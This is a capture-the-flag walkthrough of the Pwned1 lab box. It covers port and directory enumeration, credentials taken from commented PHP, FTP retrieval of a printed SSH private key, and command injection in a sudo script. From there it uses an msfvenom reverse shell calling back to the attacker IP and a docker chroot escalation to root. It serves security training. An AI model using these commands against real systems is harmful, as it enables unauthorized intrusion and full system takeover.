Solvere Labs

Pwned1 Walkthrough

By Ha-L0 8 min read easy linux VulnHub

Details
This box was customized by Offensive Security and integrated in the ‘proving grounds’ lab.
In the following you see the solution of the ‘proving grounds’ version.

discovery#

We are starting with a simple port scan to identify the attack surface of the target.

port scan#

$ nmap -Pn -p- 192.168.214.95
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-07 07:12 CEST
Nmap scan report for 192.168.214.95
Host is up (0.027s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 30.17 seconds

dir busting#

$ gobuster dir -k -u http://192.168.214.95/ -w /usr/share/wordlists/dirb/common.txt -t 5 -x txt,html,php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.214.95/
[+] Method:                  GET
[+] Threads:                 5
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
===============================================================
2023/08/07 07:15:02 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 279]
/.hta.php             (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/.htaccess.txt        (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.hta.txt             (Status: 403) [Size: 279]
/.htaccess.html       (Status: 403) [Size: 279]
/.hta.html            (Status: 403) [Size: 279]
/.htpasswd.html       (Status: 403) [Size: 279]
/.htpasswd.txt        (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/.htaccess.php        (Status: 403) [Size: 279]
/index.html           (Status: 200) [Size: 3065]
/index.html           (Status: 200) [Size: 3065]
/robots.txt           (Status: 200) [Size: 61]
/robots.txt           (Status: 200) [Size: 61]
/server-status        (Status: 403) [Size: 279]
Progress: 18419 / 18460 (99.78%)
===============================================================
2023/08/07 07:16:41 Finished
===============================================================

Analysing robots.txt content.

GET /robots.txt HTTP/1.1
Host: 192.168.214.95
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Date: Mon, 07 Aug 2023 05:20:33 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Tue, 08 Sep 2020 19:44:29 GMT
ETag: "3d-5aed2903c1cea"
Accept-Ranges: bytes
Content-Length: 61
Connection: close
Content-Type: text/plain

# Group 1

User-agent: *
Allow: /nothing
Allow: /hidden_text

/nothing contains a file named /nothing/nothing.html.

nothing.html does not seem to be useful. {: .prompt-danger }

/hidden_text contains /hidden_text/secret.dic.
Content of secret.dic

/hacked
/vanakam_nanba
/hackerman.gif 
/facebook
/whatsapp
/instagram
/pwned
/pwned.com
/pubg 
/cod
/fortnite
/youtube
/kali.org
/hacked.vuln
/users.vuln
/passwd.vuln
/pwned.vuln
/backup.vuln
/.ssh
/root
/home

The content looks like a word list useful for dir busting. {: .prompt-info }

dir busting… again#

$ gobuster dir -k -u http://192.168.214.95/ -w secret.dic -t 5 -x txt,html,php 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.214.95/
[+] Method:                  GET
[+] Threads:                 5
[+] Wordlist:                wordlist
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
===============================================================
2023/08/07 07:22:22 Starting gobuster in directory enumeration mode
===============================================================
/pwned.vuln           (Status: 301) [Size: 321] [--> http://192.168.214.95/pwned.vuln/]
Progress: 76 / 88 (86.36%)
===============================================================
2023/08/07 07:22:23 Finished
===============================================================

Lets have a look at the identified resource /pwned.vuln/.

GET /pwned.vuln/ HTTP/1.1
Host: 192.168.182.95
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Date: Mon, 07 Aug 2023 19:30:04 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Tue, 08 Sep 2020 19:52:22 GMT
ETag: "2a1-5aed2ac6ec651-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 673
Connection: close
Content-Type: text/html

<!DOCTYPE html>
<html>
<head> 
	<title>login</title>
</head>
<body>
		<div id="main">
			<h1> vanakam nanba. I hacked your login page too with advanced hacking method</h1>
			
			</div>
</body>
</html>




<?php
//	if (isset($_POST['submit'])) {
//		$un=$_POST['username'];
//		$pw=$_POST['password'];
//
//	if ($un=='ftpuser' && $pw=='B0ss_Pr!ncesS') {
//		echo "welcome"
//		exit();
// }
// else 
//	echo "Invalid creds"
// }
?>

The source code reveal some credentials: ftpuser:B0ss_Pr!ncesS {: .prompt-info }

exploitation#

ftp access#

Checking if the identified credentials work on the ftp service of the target.

$ ftp 192.168.182.95       
Connected to 192.168.182.95.
220 (vsFTPd 3.0.3)
Name (192.168.182.95:void): ftpuser
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Yes! We got access. {: .prompt-info }

Lets have a look what is available.

ftp> ls
229 Entering Extended Passive Mode (|||55767|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 10  2020 share
226 Directory send OK.
ftp> cd share
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||60680|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0            2602 Jul 09  2020 id_rsa
-rw-r--r--    1 0        0              75 Jul 09  2020 note.txt
226 Directory send OK.
ftp> get id_rsa
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||9834|)
150 Opening BINARY mode data connection for id_rsa (2602 bytes).
100% |***********************************************************************************************************************************************************************************************|  2602      316.79 KiB/s    00:00 ETA
226 Transfer complete.
2602 bytes received in 00:00 (66.76 KiB/s)
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||19458|)
150 Opening BINARY mode data connection for note.txt (75 bytes).
100% |***********************************************************************************************************************************************************************************************|    75       91.78 KiB/s    00:00 ETA
226 Transfer complete.
75 bytes received in 00:00 (1.96 KiB/s)
ftp> exit
221 Goodbye.

$ cat note.txt 

Wow you are here 

ariana won't happy about this note 

sorry ariana :(

$ cat id_rsa                              
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

We have a ssh key and probably a user named ariana! {: .prompt-info }

Lets check if we can login via ssh using this information.

$ ssh -i id_rsa [email protected] 
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ariana@pwned:~$ id
uid=1000(ariana) gid=1000(ariana) groups=1000(ariana),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

Yes we have ssh access! {: .prompt-info }

post exploitation#

get first flag#

ariana@pwned:~$ ls
ariana-personal.diary  local.txt  user1.txt
ariana@pwned:~$ cat local.txt 
5******************************3

privilege escalation#

Checking sudo privileges

ariana@pwned:~$ sudo -l
Matching Defaults entries for ariana on pwned:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ariana may run the following commands on pwned:
    (selena) NOPASSWD: /home/messenger.sh

We are allowed to execute /home/messenger.sh as user selena. {: .prompt-info }

Lets check the content of this file.

ariana@pwned:~$ cat /home/messenger.sh
#!/bin/bash

clear
echo "Welcome to linux.messenger "
                echo ""
users=$(cat /etc/passwd | grep home |  cut -d/ -f 3)
                echo ""
echo "$users"
                echo ""
read -p "Enter username to send message : " name 
                echo ""
read -p "Enter message for $name :" msg
                echo ""
echo "Sending message to $name "

$msg 2> /dev/null

                echo ""
echo "Message sent to $name :) "
                echo ""

The line $msg 2> /dev/null is vulnerable. {: .prompt-info }

That means that we can inject commands when executing the script exploiting the message parameter.

Checking if the idea works.

$ sudo -u selena /home/messenger.sh
Welcome to linux.messenger 


ariana:
selena:
ftpuser:

Enter username to send message : ariana

Enter message for ariana :whoami

Sending message to ariana 
selena

Message sent to ariana :)

Yes it does! Our whoami command got executed. {: .prompt-info }

Lets generate a simple reverse shell we place on the target and then execute with the script to get a shell as user selena.

$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.186 LPORT=80 -f elf > revshell
PG::Coder.new(hash) is deprecated. Please use keyword arguments instead! Called from /usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/connection_adapters/postgresql_adapter.rb:980:in `new'
PG::Coder.new(hash) is deprecated. Please use keyword arguments instead! Called from /usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/connection_adapters/postgresql_adapter.rb:980:in `new'
PG::Coder.new(hash) is deprecated. Please use keyword arguments instead! Called from /usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/activerecord-7.0.4.3/lib/active_record/connection_adapters/postgresql_adapter.rb:980:in `new'
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes

$ scp -i id_rsa revshell [email protected]:/tmp/revshell

ariana@pwned:~$ chmod +x /tmp/revshell

Start a listener on the attacker machine.

$ nc -lvp 80
listening on [any] 80 ...

Now back on the target machine we execute the vulnerable script again and trigger our reverse shell.

$ sudo -u selena /home/messenger.sh
Welcome to linux.messenger 


ariana:
selena:
ftpuser:

Enter username to send message : ariana

Enter message for ariana :/tmp/revshell

Sending message to ariana

Catch connection from target.

$ nc -lvp 80
listening on [any] 80 ...
192.168.182.95: inverse host lookup failed: Unknown host
connect to [192.168.45.186] from (UNKNOWN) [192.168.182.95] 42936
id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)

Yes we are selena now! And we see we are in the docker group {: .prompt-info }

This usually allows us to escalate to root. Lets use gtfobins to escalate.

$ nc -lvp 80
listening on [any] 80 ...
192.168.182.95: inverse host lookup failed: Unknown host
connect to [192.168.45.186] from (UNKNOWN) [192.168.182.95] 42936
id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
the input device is not a TTY

We need a TTY first… {: .prompt-info }

python3 -c 'import pty;pty.spawn("/bin/bash")'
selena@pwned:/home/ariana$ export TERM=xterm
export TERM=xterm
selena@pwned:/home/ariana$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

Yes! We are root {: .prompt-info }

get second flag#

# cd /root
cd /root
# ls
ls
proof.txt  root.txt
# cat proof.txt
cat proof.txt
a******************************8

Pwned! <@:-)

Adapted from Ha-L0/Ha-L0.github.io under MIT.

Related

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